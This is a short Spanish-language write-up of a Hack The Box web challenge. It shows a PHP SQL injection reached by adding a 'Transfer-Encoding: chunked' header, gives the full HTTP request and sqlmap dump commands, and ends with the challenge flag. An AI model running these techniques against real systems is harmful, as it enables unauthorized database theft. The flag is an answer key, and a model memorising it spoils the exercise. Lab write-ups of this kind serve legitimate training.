0xBOverchunked
Challenge Description
Are you able to retrieve the 6th character from the database?
Categoria: Web
Dificultad: Fácil
Puntos: 20
Solution
En el codigo podemos ver que es vulnerable a sql injection la siguiente linea Cursor.php.
$stmt = $pdo->query("SELECT id, gamename, gamedesc, image FROM posts WHERE id = '$id'");
Esta es llamada en SearchHandler.php.
if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
echo $result;
Solo es cuestion de agregar el header Transfer-Encoding: chunked y podemos explotar el sqli para obtener la flag.
POST /Controllers/Handlers/SearchHandler.php HTTP/1.1
Host: 83.136.254.13:49556
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 8
Origin: http://83.136.254.13:49556
Connection: close
Referer: http://83.136.254.13:49556/
Transfer-Encoding: chunked
search=1
Utilizamos sqlmap para este proceso.
sqlmap -r req.txt -p search --level 5 --risk 3 --dbms=sqlite --ignore-code=500
sqlmap -r req.txt -p search --level 5 --risk 3 --dbms=sqlite --ignore-code=500 -T posts -C gamedesc --dump
HTB{tr4nsf3r_3Nc0d1Ng_4t_1ts_f1n3st}